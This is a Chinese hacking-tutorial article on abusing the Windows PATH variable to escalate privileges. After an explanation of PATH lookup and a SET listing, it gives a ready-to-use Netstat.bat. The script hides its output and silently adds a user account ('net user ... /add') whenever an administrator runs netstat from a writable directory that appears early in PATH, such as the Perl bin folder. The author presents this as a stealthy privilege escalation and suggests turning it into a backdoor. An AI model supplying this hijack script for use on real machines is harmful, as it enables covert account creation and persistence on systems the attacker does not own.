环境变量在Hacking中的应用
环境变量在Hacking中的应用
发布时间:2016-12-21 来源:查字典编辑
摘要:首先,我们先了解下什么叫环境变量!环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这...

首先,我们先了解下什么叫环境变量!

环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于DOS时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如

查看系统当前的环境变量,可以使用SET命令查看!

下面是执行SET命令后反馈的信息 ALLUSERSPROFILE=C:Documents and SettingsAll Users

APPDATA=C:Documents and SettingsAdministratorApplication Data

CLIENTNAME=Console

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=145F63CA0A6F46D

ComSpec=C:WINDOWSsystem32cmd.exe

FP_NO_HOST_CHECK=NO

HOMEDRIVE=C:

HOMEPATH=Documents and SettingsAdministrator

LOGONSERVER=145F63CA0A6F46D

NUMBER_OF_PROCESSORS=2

OS=Windows_NT

Path=D:Progra~1BorlandDelphi7Bin;D:Progra~1BorlandDelphi7ProjectsBpl;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0f06

ProgramFiles=C:Program Files

PROMPT=$P$G

SESSIONNAME=Console

SystemDrive=C:

SystemRoot=C:WINDOWS

TEMP=C:DOCUME~1ADMINI~1LOCALS~1Temp

TMP=C:DOCUME~1ADMINI~1LOCALS~1Temp

USERDOMAIN=145F63CA0A6F46D

USERNAME=Administrator

USERPROFILE=C:Documents and SettingsAdministrator

windir=C:WINDOWS

======================================================================

我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?

其实这就是 Path 变量所起的作用了!

如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。

也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!

1.

当前目录下的可执行文件!

2.

依次查找Path变量中的所指定的目录! OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。

我们知道PERL安装后会在变量Path内容的最前面加入c:perlbin //目录依安装而定

而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。 下面我举个利用的例子!

//是否可利用,取决于Path变量的位置以及该目录是否可写

//环境变量一定要在系统自带环境变量之前。 假设条件如下:

目标安装了PERL,且目录为c:perlbin

//目录可写

系统环境变量中的Path变量内容如下

Path=c:perlbin;C:WINDOWSsystem32;C:WINDOWS;C:WINDOWSSystem32Wbem

我们可以在该目录下创建如下文件

Netstat.cmd

or

Netstat.bat //常用系统命令亦可,请自己举一反三!THX~

文件内容如下 @net user netpatch nspcn.org /add>nul

Rem 命令一定要记得加 @ 结尾加

>nul

Rem @是为了隐藏命令本身

Rem >nul 是为了隐藏命令执行完后的结果反馈!

@%systemroot%system32netstat.exe %1 %2 %3 %4 %5 %6

Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用 当管理员执行命令时,由于Path变量中c:perlbin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:Documents and SettingsAdministrator” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:perlbin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..

此乃三十六计中的暗渡陈仓也…. 提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~

为啥不可呢,有Idea就得试…没测试哪来的正果呢?

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新黑客入侵学习
热门黑客入侵学习
网络安全子分类